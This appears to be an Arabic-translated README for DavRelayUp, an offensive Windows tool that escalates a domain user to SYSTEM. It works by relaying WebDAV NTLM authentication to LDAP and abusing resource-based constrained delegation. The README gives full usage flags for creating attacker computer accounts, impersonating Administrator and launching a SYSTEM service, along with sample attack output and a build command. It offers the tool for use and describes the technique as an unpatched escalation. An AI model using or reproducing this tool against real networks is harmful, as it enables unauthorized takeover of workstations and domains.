
يُؤتمت عملية تصعيد الامتيازات المحلية إلى SYSTEM على محطات عمل Windows المنضمة إلى المجال، وذلك عبر إعادة توجيه المصادقة NTLM من WebDAV إلى LDAP، مع الاستفادة من التفويض المقيد القائم على المورد (RBCD) دون الحاجة إلى فرض توقيع LDAP.
نسخة سريعة وقذرة من KrbRelayUp مع تعديلات للسماح بتتابع NTLM من webdav إلى LDAP بهدف تبسيط استغلال البدائية الهجومية التالية:
هذه بشكل أساسي وسيلة تصعيد امتيازات محلية عالمية بدون إصلاح في أجهزة عمل ويندوز المنضمة إلى مجال حيث لا يتم فرض توقيع LDAP (الإعدادات الافتراضية).
DavRelayUp - Relaying you to SYSTEM, again...
Usage: DavRelayUp.exe [-c] [-cn COMPUTERNAME] [-cp PASSWORD | -ch NTHASH]
RBCD Options:
-c (--CreateNewComputerAccount) إنشاء حساب جهاز جديد لـ RBCD. سيستخدم المستخدم المصادق عليه حالياً.
-cn (--ComputerName) اسم حساب الجهاز المملوك للمهاجم لـ RBCD. (الافتراضي=DAVRELAYUP$)
-cp (--ComputerPassword) كلمة مرور حساب الجهاز لـ RBCD. (الافتراضي=RANDOM [إذا تم تمكين -c])
-ch (--ComputerPasswordHash) هاش NT لكلمة مرور حساب الجهاز لـ RBCD. (يجب تحديد إما -cp أو -ch)
-i (--Impersonate) المستخدم المراد انتحاله. يجب أن يكون مسؤولاً محلياً في الجهاز الهدف. (الافتراضي=Administrator)
KrbSCM Options:
-s (--ServiceName) اسم الخدمة المراد إنشاؤها. (الافتراضي=KrbSCM)
-sc (--ServiceCommand) أمر الخدمة [binPath]. (الافتراضي = تشغيل cmd.exe كـ SYSTEM)
General Options:
-p (--Port) منفذ خادم WebDAV (الافتراضي=55555)
-d (--Domain) FQDN للمجال. (اختياري)
-dc (--DomainController) FQDN لوحدة التحكم بالمجال. (اختياري)
-ssl استخدام LDAP عبر SSL. (اختياري)
-n استخدام CreateNetOnly (يجب أن يكون موجوداً على القرص) بدلاً من PTT عند استيراد ST (اختياري)
-v (--Verbose) عرض مخرجات مفصلة. (اختياري)
-h (--Help) عرض المساعدة
إذا توقف DavRelayUp عند إحدى هذه المراحل - حاول استخدام منفذ مختلف عن طريق تحديد العلم [-p]
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header
https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

PS C:\Tools\DavRelayUp> cd GoRelayServer
PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w" -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go